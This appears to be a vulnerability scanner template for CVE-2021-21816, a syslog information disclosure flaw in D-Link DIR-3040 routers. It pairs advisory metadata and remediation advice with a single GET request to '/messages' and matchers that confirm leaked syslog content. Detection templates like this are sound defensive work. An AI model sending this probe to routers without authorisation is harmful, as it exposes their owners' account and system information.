id: CVE-2021-21816 info: name: D-Link DIR-3040 1.13B03 - Information Disclosure author: gy741 severity: medium description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. remediation: | Upgrade the router firmware to the latest version provided by D-Link. reference: - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281 - https://nvd.nist.gov/vuln/detail/CVE-2021-21816 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N cvss-score: 4.3 cve-id: CVE-2021-21816 cwe-id: CWE-200 epss-score: 0.00255 epss-percentile: 0.63286 cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:* metadata: max-request: 1 vendor: dlink product: dir-3040_firmware tags: cve,cve2021,dlink,exposure,router,syslog http: - method: GET path: - "{{BaseURL}}/messages" matchers-condition: and matchers: - type: word part: body words: - "syslog:" - "admin" - "/etc_ro/lighttpd/www" condition: and - type: status status: - 200 # digest: 490a004630440220710e549cd1e61dc4691954907fde5682856bc4e81dce3bf1693ba80814c76ecb02204348e87d85f87c192e0c47ccbb506e9137653cb909f8d151cd2201e047f344af:922c64590222798bb761d5b6d8e72950